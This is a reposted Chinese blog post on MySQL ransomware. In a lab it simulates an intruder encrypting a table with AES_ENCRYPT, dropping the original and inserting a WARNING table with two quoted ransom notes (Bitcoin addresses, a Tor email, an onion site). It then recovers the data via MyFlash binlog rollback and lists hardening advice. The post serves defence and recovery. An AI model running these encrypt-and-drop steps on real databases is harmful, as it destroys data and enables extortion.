暂无图片
暂无图片
暂无图片
暂无图片
暂无图片
首页 / MySQL-数据加密与比特币勒索的艺术(Tao Lu)

MySQL-数据加密与比特币勒索的艺术(Tao Lu)

万能修实验室 2021-07-14
1540


没事看看官方文档，操作稳稳的


数据库是一门传统技术，讲究增删改查(SKPL)。但现在是新时代了，作为从业者只会删库跑路这些日常操作肯定是不行的。

尤其近两年来，比特币勒索软件横行，服务器被挖矿、各种数据库被加密、删数据的新闻时有发生。
手法基本类似：先加密数据，然后留个地址要钱求打赏，起价通常就是0.XX个BTC，这看着也不是很多。直到有一天我知道了比特币的价格。


前几天就看到个新闻：


车在最下



加密的原理


入侵者的主要手段是建立加密表，再用MySQL自身的加密函数，用一个只有自己知道的小秘钥对数据进行加密。加密后删除原表，来达到勒索的目的。最致命的是从库也会执行对应的SQL，基本切换了也没啥用。所以，要再强调下备份的重要性。


加密函数: AES_ENCRYPT

使用AES(高级加密标准)算法，用密钥加密给定字符串。


语法：

AES_ENCRYPT(data,key);


示例：

    [root@localhost][sbtest]> SELECT AES_ENCRYPT("删库跑路","drop_database");
    +---------------------------------------------+
    | AES_ENCRYPT("删库跑路","drop_database")     |
    +---------------------------------------------+
    | hŎk8'                                |
    +---------------------------------------------+
    1 row in set (0.00 sec)


    解密函数：AES_DECRYPT


    语法：

    AES_DECRYPT(aes_encrypted data,key);


    示例：

      [root@localhost][sbtest]> SELECT AES_DECRYPT(AES_ENCRYPT("删库不跑路","drop_database"),"drop_database");
      +--------------------------------------------------------------------------+
      | AES_DECRYPT(AES_ENCRYPT("删库不跑路","drop_database"),"drop_database")     |
      +--------------------------------------------------------------------------+
      | 删库不跑路                                                                 |
      +--------------------------------------------------------------------------+
      1 row in set (0.00 sec)


      这里简单测试下


      建个测试表，插入2条数据看看。为了方便看日志先刷下log：

        [root@localhost][sbtest]> flush logs;
        Query OK, 0 rows affected (0.02 sec)


        [root@localhost][sbtest]> create table caihao(id int, name VARCHAR(100));
        Query OK, 0 rows affected (0.04 sec)


        [root@localhost][sbtest]> insert into caihao values(1,100);
        Query OK, 1 row affected (0.03 sec)


        [root@localhost][sbtest]> alter table caihao MODIFY COLUMN name blob;
        Query OK, 1 row affected (0.07 sec)
        Records: 1  Duplicates: 0  Warnings: 0


        [root@localhost][sbtest]> insert into caihao values(2,AES_ENCRYPT('Obama','9nceqPTalzWaXG1NIX3t0'));
        Query OK, 1 row affected (0.02 sec)


        [root@localhost][sbtest]> select * from caihao;
        +------+------------------+
        | id   | name             |
        +------+------------------+
        |    1 | 100              |
        |    2 | ff       |
        +------+------------------+
        2 rows in set (0.00 sec)


        导出这段时间的binlog日志：

          [root@mysql1 3306]# mysqlbinlog --no-defaults -vv  binlog.000016 > test.sql


          可以看到，插入的数据已经是加密后的，日志里并没有找到秘钥的记录。

            # at 1112
            #190916 15:58:02 server id 49  end_log_pos 1209 CRC32 0xf7ccd112        Rows_query
            # insert into caihao values(2,AES_ENCRYPT('Obama','9nceqPTalzWaXG1NIX3t0'))
            # at 1209
            #190916 15:58:02 server id 49  end_log_pos 1262 CRC32 0xcc6b8c5c        Table_map: `sbtest`.`caihao` mapped to number 2087625
            # at 1262
            #190916 15:58:02 server id 49  end_log_pos 1320 CRC32 0xf1e79cb8        Write_rows: table id 2087625 flags: STMT_END_F


            BINLOG '
            ikB/XR0xAAAAYQAAALkEAACAAElpbnNlcnQgaW50byBjYWloYW8gdmFsdWVzKDIsQUVTX0VOQ1JZ
            UFQoJ09iYW1hJywnOW5jZXFQVGFseldhWEcxTklYM3QwJykpEtHM9w==
            ikB/XRMxAAAANQAAAO4EAAAAAMnaHwAAAAEABnNidGVzdAAGY2FpaGFvAAID/AECA1yMa8w=
            ikB/XR4xAAAAOgAAACgFAAAAAMnaHwAAAAEAAgAC//wCAAAAEADmxD8lZmbGDhLF1yj4uYtMuJzn
            8Q==
            '/*!*/;
            ### INSERT INTO `sbtest`.`caihao`
            ### SET
            ###   @1=2 * INT meta=0 nullable=1 is_null=0 */
            ###   @2='ffe\x12 * BLOB/TEXT meta=2 nullable=1 is_null=0 */
            # at 1320
            #190916 15:58:02 server id 49  end_log_pos 1351 CRC32 0x665d8282        Xid = 40921966
            COMMIT/*!*/;
            SET @@SESSION.GTID_NEXT= 'AUTOMATIC' /* added by mysqlbinlog */ /*!*/;
            DELIMITER ;
            # End of log file
            /*!50003 SET COMPLETION_TYPE=@OLD_COMPLETION_TYPE*/;
            /*!50530 SET @@SESSION.PSEUDO_SLAVE_MODE=0*/;

            看来MySQL这加密做的还不错，找秘钥这条路是不通的。


            模拟入侵者加密过程


            1、复制一个和原表一样结构的加密表：  

              [root@localhost][sbtest]> create table caihao_test_encrypt like caihao_test;
              Query OK, 0 rows affected (0.09 sec)


              2、将原始表中的数据复制到加密表中:

                [root@localhost][sbtest]> insert into caihao_test_encrypt select * from caihao_test;  
                Query OK, 104692 rows affected (2.14 sec)
                Records: 104692  Duplicates: 0  Warnings: 0  
                [root@localhost][sbtest]> select count(*) from caihao_test_encrypt;
                +----------+
                | count(*) |
                +----------+
                |   104692 |
                +----------+
                1 row in set (0.02 sec)

                   
                3、将加密表中的字段类型修改为blob, 该操作目的用于存放加密后的数据, 某些原始的字段类型保存的数据太少, 无法存放AES加密后的数据:

                  [root@localhost][sbtest]> alter table caihao_test_encrypt MODIFY COLUMN pad blob;
                  Query OK, 104692 rows affected (1.86 sec)
                  Records: 104692  Duplicates: 0  Warnings: 0
                  [root@localhost][sbtest]> desc caihao_test_encrypt;
                  +-------+-----------+------+-----+---------+----------------+
                  | Field | Type      | Null | Key | Default | Extra          |
                  +-------+-----------+------+-----+---------+----------------+
                  | id    | int(11)   | NO   | PRI | NULL    | auto_increment |
                  | k     | int(11)   | NO   | MUL | 0       |                |
                  | c     | char(120) | NO   |     |         |                |
                  | pad   | blob      | YES  |     | NULL    |                |
                  +-------+-----------+------+-----+---------+----------------+


                  4、最关键的一步, 使用MySQL自带的AES_ENCRYPT()函数对数据进行加密更新；

                    [root@localhost][sbtest]> update caihao_test_encrypt SET pad = AES_ENCRYPT(pad,'caihao_encrypt_1234567890abcdefg');
                    Query OK, 104692 rows affected (3.12 sec)
                    Rows matched: 104692  Changed: 104692  Warnings: 0


                    5、查看加密表中的数据（拉到最后面的pad字段）

                      [root@localhost][sbtest]> select * from  caihao_test_encrypt limit 10;
                      +----+-------+-------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------+
                      | id | k     | c                                                                                                                       | pad                                                              |
                      +----+-------+-------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------+
                      |  1 | 50147 | 68487932199-96439406143-93774651418-41631865787-96406072701-20604855487-25459966574-28203206787-41238978918-19503783441 | `@l/5 ѽY,                                |
                      |  2 | 50248 | 13241531885-45658403807-79170748828-69419634012-13605813761-77983377181-01582588137-21344716829-87370944992-02457486289 | R<ͦK    (}_^{                          |
                      |  3 | 49895 | 51185622598-89397522786-28007882305-52050087550-68686337807-48942386476-96555734557-05264042377-33586177817-31986479495 | "IޱX$                               |
                      |  4 | 50265 | 54133149494-75722987476-23015721680-47254589498-40242947469-55055884969-23675271222-20181439230-74473404563-55407972672 | q{}p}0p7%~u                             |
                      |  5 | 52891 | 05848131016-49737365047-61494872375-29450471021-12759747197-90410473835-31712590401-72789260457-13598426232-44299144230 | zџX%Q_MĻ9E'Hٞ                             |
                      |  6 | 50206 | 27259561572-06414927280-46715228218-84893654561-76731023738-20557067759-19583561006-08735004037-78310463408-71967134144 |                                                                                                                                          EL;[    ݄jįܑkI                                 |
                      |  7 | 50155 | 34449943118-96426893499-71362880743-84675025487-71635883940-36793480598-23136229337-86150985465-00300966783-42133648643 | \|bh=`"                               |
                      |  8 | 50026 | 10676430684-17587037436-43492067438-02978392453-17382292196-18617843758-31971657195-07771170431-78457836714-38765745127 | |>Xv~.4                                |
                      |  9 | 45617 | 98756348016-69119199127-93668626818-58833859316-23503426990-30887483852-09587067298-07595478603-14470766687-79320847421 | *jpຄ                               |
                      | 10 | 49755 | 06208928544-69213163800-95083408911-83949560459-26629535077-58798231143-58688386449-59141897529-07315042085-86003451120 | P\=uy{%͌                              |
                      +----+-------+-------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------+
                      10 rows in set (0.00 sec)


                      6、删除原始表,之后数据库中就只剩下了被加密的表；

                        [root@localhost][sbtest]> drop table if exists caihao_test;
                        Query OK, 0 rows affected (0.05 sec)

                        7、最后新建一个名为WARNING的表，表中存放有勒索信、比特币钱包地址、暗网网址、密钥证明、表数据结构和私钥。
                        以下是流行的两种版本勒索信息：

                          INSERT INTO `WARNING`(id, warning, Bitcoin_Address, Email)
                          VALUES('1','Send 0.2 BTC to this address and contact this email with your ip or db_name of your server to recover your database! Your DB is Backed up to our servers!','1ET9NHZEXXQ34qSP46vKg8mrWgT89cfZoY','backupservice@mail2tor.com')；


                          INSERT INTO `WARNING`(id, warning)
                          VALUES(1,'SEND 0.2 BTC TO THIS ADDRESS 1Kg9nGFdAoZWmrn1qPMZstam3CXLgcxPA9 AND GO TO THIS SITE http://sognd75g4isasu2v.onion/ TO RECOVER YOUR DATABASE! SQL DUMP WILL BE AVAILABLE AFTER PAYMENT! To access this site you have use the tor browser https://www.torproject.org/projects/torbrowser.html.en')；


                          数据可以恢复么？


                          如果有完备的备份机制，数据恢复是没问题的。但是人生总有那么多的意外与惊喜，没备份或者备份无效了咋弄？只要update加密操作的binlog还在，是不是可以用工具闪回找到？用MyFlash试试就知道了。


                          MyFlash简介

                          MyFlash是由美团点评公司技术工程部开发维护的一个回滚DML操作的工具。
                          该工具通过解析v4版本的binlog，完成回滚操作。
                          相对已有的回滚工具，其增加了更多的过滤选项，让回滚更加容易。
                          该工具已经在美团点评内部使用


                          1、生成回滚文件

                            [root@mysql1 MyFlash-master]# flashback --binlogFileNames='/data/db/mysql/3306/binlog.000013' --start-datetime="2019-09-16 00:40:00" --databaseNames='sbtest' --tableNames='caihao_test_encrypt' --sqlTypes='UPDATE' --outBinlogFileNameBase=caihao_test_encrypt


                            2、由于回滚sql比较多，导出到文件中。

                              [root@mysql1 MyFlash-master]# mysqlbinlog --no-defaults --base64-output=decode-rows -vv caihao_test_encrypt.flashback > 1.sql

                              3、查看回滚sql，里面还是有记录update前的原值的，很好。

                                ### UPDATE `sbtest`.`caihao_test_encrypt`
                                ### WHERE
                                ###   @1=104691 * INT meta=0 nullable=0 is_null=0 */
                                ###   @2=500587 * INT meta=0 nullable=0 is_null=0 */
                                ###   @3='68448671798-98527755161-87823479650-96126916776-87658826472-70083010164-93360701697-33888865024-43151479664-62437782472' * STRING(480) meta=61152 nullable=0 is_null=0 */
                                ###   @4='vÝqM®Xw<90>ò<<96>>×> &Fôý<9e>LU£h|K´´w<89><Å÷<83>`<9b>­ÅÇæ\x1d3jé£Lëâ\x0b]\x13ê\x5c2ÝEð}»\x15Ü\x11\x14\x18' * BLOB/TEXT meta=2 nullable=1 is_null=0 */
                                ### SET
                                ###   @1=104691 * INT meta=0 nullable=0 is_null=0 */
                                ###   @2=500587 * INT meta=0 nullable=0 is_null=0 */
                                ###   @3='68448671798-98527755161-87823479650-96126916776-87658826472-70083010164-93360701697-33888865024-43151479664-62437782472' * STRING(480) meta=61152 nullable=0 is_null=0 */
                                ###   @4='10950084029-14527094053-39051477333-48029918776-30889134895' * BLOB/TEXT meta=2 nullable=1 is_null=0 */
                                ### UPDATE `sbtest`.`caihao_test_encrypt`
                                ### WHERE
                                ###   @1=104692 * INT meta=0 nullable=0 is_null=0 */
                                ###   @2=500662 * INT meta=0 nullable=0 is_null=0 */
                                ###   @3='04189683058-35709789813-42030484266-65635698857-24604276905-31678084407-92483127371-92264056462-50691463832-33505159508' * STRING(480) meta=61152 nullable=0 is_null=0 */
                                ###   @4='±÷þDéþ<8d>\x1c<91>îtÁyNÅ5þgãõÒZ\x08üow<9e>Q´¤í\x11Å#<9b><98>ë<81>¶ES<9e>êbg\x07ÖO¢h<85>J~¬óC<8d>Uª\x1c|£<8a>\x12' * BLOB/TEXT meta=2 nullable=1 is_null=0 */
                                ### SET
                                ###   @1=104692 * INT meta=0 nullable=0 is_null=0 */
                                ###   @2=500662 * INT meta=0 nullable=0 is_null=0 */
                                ###   @3='04189683058-35709789813-42030484266-65635698857-24604276905-31678084407-92483127371-92264056462-50691463832-33505159508' * STRING(480) meta=61152 nullable=0 is_null=0 */
                                ###   @4='84474233105-91512041598-77937183432-73863888592-28655605645' /* BLOB/TEXT meta=2 nullable=1 is_null=0 */


                                4、回滚数据。执行恢复遇到报错。

                                  [root@mysql1 MyFlash-master]# mysqlbinlog --no-defaults caihao_test_encrypt.flashback |mysql -uroot -pabmysql123
                                  mysql: [Warning] Using a password on the command line interface can be insecure.
                                  ERROR 1782 (HY000) at line 9987: @@SESSION.GTID_NEXT cannot be set to ANONYMOUS when @@GLOBAL.GTID_MODE = ON.
                                  解决：

                                  在导入时加入  --skip-gtids


                                  5、数据恢复成功，查看表中数据已经是加密前的了。

                                    [root@localhost][sbtest]> select * from  caihao_test_encrypt limit 10;
                                    +----+-------+-------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------+
                                    | id | k     | c                                                                                                                       | pad                                                         |
                                    +----+-------+-------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------+
                                    |  1 | 50147 | 68487932199-96439406143-93774651418-41631865787-96406072701-20604855487-25459966574-28203206787-41238978918-19503783441 | 22195207048-70116052123-74140395089-76317954521-98694025897 |
                                    |  2 | 50248 | 13241531885-45658403807-79170748828-69419634012-13605813761-77983377181-01582588137-21344716829-87370944992-02457486289 | 28733802923-10548894641-11867531929-71265603657-36546888392 |
                                    |  3 | 49895 | 51185622598-89397522786-28007882305-52050087550-68686337807-48942386476-96555734557-05264042377-33586177817-31986479495 | 00592560354-80393027097-78244247549-39135306455-88936868384 |
                                    |  4 | 50265 | 54133149494-75722987476-23015721680-47254589498-40242947469-55055884969-23675271222-20181439230-74473404563-55407972672 | 88488171626-98596569412-94026374972-58040528656-38000028170 |
                                    |  5 | 52891 | 05848131016-49737365047-61494872375-29450471021-12759747197-90410473835-31712590401-72789260457-13598426232-44299144230 | 50328648255-56985852825-00629775132-73783090655-90918476202 |
                                    |  6 | 50206 | 27259561572-06414927280-46715228218-84893654561-76731023738-20557067759-19583561006-08735004037-78310463408-71967134144 | 66200784124-83118543608-45044785936-98738951684-25087136427 |
                                    |  7 | 50155 | 34449943118-96426893499-71362880743-84675025487-71635883940-36793480598-23136229337-86150985465-00300966783-42133648643 | 79835065586-51797510479-70531775300-34264873042-71565306521 |
                                    |  8 | 50026 | 10676430684-17587037436-43492067438-02978392453-17382292196-18617843758-31971657195-07771170431-78457836714-38765745127 | 94633519802-41908941667-78242579588-16891567524-49216405523 |
                                    |  9 | 45617 | 98756348016-69119199127-93668626818-58833859316-23503426990-30887483852-09587067298-07595478603-14470766687-79320847421 | 82343182218-75122207739-98082475690-33929140169-00985969597 |
                                    | 10 | 49755 | 06208928544-69213163800-95083408911-83949560459-26629535077-58798231143-58688386449-59141897529-07315042085-86003451120 | 76203782528-48887604562-98917827218-40779216423-57939776498 |
                                    +----+-------+-------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------+
                                    10 rows in set (0.00 sec)


                                    研究到这基本也就差不多了，毕竟咱也不是专门搞安全的。这几年数据库安全类的突发事件越来越多，说到底还是个意识与规范管理的问题。


                                    一些常见的原因：
                                        1. 服务器密码过于简单
                                        2. 服务器端口暴露在公网
                                        3. 数据库开启了外网访问、密码简单，容易获取root权限
                                        4. Redis入侵，提权获取root权限
                                        5. 业务漏洞

                                    来自某云厂商的安全建议：
                                        1. 密码要有一定的复杂度，长度很重要。
                                        2. 修改MySQL默认的3306端口
                                        3. 数据库关闭不必要的远程访问
                                        4. 开启防火墙的安全策略
                                        5. 如有redis设置密码，如不必要一定不要开远程访问
                                        6. 很多云平台本身提供组件，使用它们可减少风险
                                        7. 重视备份/重视备份/重视备份(3遍也不嫌多)


                                    以下2个网站可以提供一些勒索软件对应的解密方案，公布一些解密工具。
                                    https://id-ransomware.malwarehunterteam.com/
                                    https://www.nomoreransom.org/
                                    但不能保证一定可以解密，毕竟技术在进步，入侵手段也在不断的更新。


                                    就在收工要关机的时候，屏幕右下角突然弹出了一个奇怪的东西，那么问题来了，这TM该怎么选：































                                    炎热的天气开始变凉，怀念





                                    mysql
                                    文章转载自万能修实验室，如果涉嫌侵权，请发送邮件至：contact@modb.pro进行举报，并提供相关证据，一经查实，墨天轮将立刻删除相关内容。

                                    评论